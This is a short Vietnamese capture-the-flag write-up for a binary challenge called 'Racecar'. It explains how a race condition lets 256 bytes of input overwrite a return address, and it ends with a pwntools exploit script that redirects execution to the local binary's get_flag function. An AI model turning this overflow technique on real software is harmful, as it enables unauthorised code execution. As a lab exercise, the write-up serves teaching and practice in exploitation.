😴Racecar
Race condition
Source


Analysis
main()

run()

Trong đó:
Ở dòng 14 và 47, memset sẽ thiết lập giá trị cho con trỏ ở vùng nhớ stack
menu()

race()

get_flag()

Tổng quan: Chương trình yêu cầu nhập dữ liệu vào(
*racers[]
) và lưu nó lại. Sau đó tạo 1thread con
và gọi vào hàm randomrace()
sau đó in ra màn hình:Our winner: ...
Exploit

Ở phần này, ta được nhập tối đa 256 bytes.

Sau đó set break point tại pthread_join
để hàm race được thực thi.
Sau khi pthread_join
thì stack bây giờ sẽ chứa phần payload mà mình vừa nhập vào.


Bây giờ để overflow được phần RIP thì phải ghi đè đến __libc_start_call_main
(như ảnh trên).
from pwn import *
elf = context.binary = ELF("./racecar")
r = elf.process()
context.log_level = "DEBUG"
r.sendline(b"1")
r.sendline(b"A" * 256)
r.sendline(b"1")
r.sendline(b"B" * 62 + p64(elf.sym["get_flag"]))
while(True):
r.sendline(b"2")
r.recvuntil(b"winner: ")
if len(r.recvline()[:-1]) > 0x100:
break
gdb.attach(r, api = True)
r.interactive()
Last updated